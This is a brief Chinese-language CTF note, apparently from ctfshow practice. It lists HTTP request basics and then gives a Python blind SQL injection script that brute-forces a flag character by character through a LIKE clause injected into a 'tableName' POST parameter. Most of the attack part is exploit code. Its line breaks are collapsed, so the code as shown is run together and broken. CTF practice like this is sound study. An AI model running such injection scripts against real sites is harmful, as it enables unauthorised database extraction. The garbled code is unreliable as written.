数据处理
获取网页内容
获取respond
发送GET
发送POST
发送COOKIE

普通盲注

# -*- coding: utf-8 -*-
# @Author  : Yn8rt
# @Time    : 2021/7/27 12:21
# @Function:
import requests
import sysurl = 'http://xxxxxxxxxxxxxxx'
letter = '0123456789abcdefghijklmnopqrstuvwxyz-{}'
flag = 'ctfshow{'for i in range(0,150):for j in letter:payload = {"tableName":"(ctfshow_user)where(pass)like'{}%'".format(flag+j)}# %表示在sql中通配你n个字符r = requests.post(url=url,data=payload).textif "$user_count = 1;" in r:flag+=jprint(flag)breakif j=="}":sys.exit()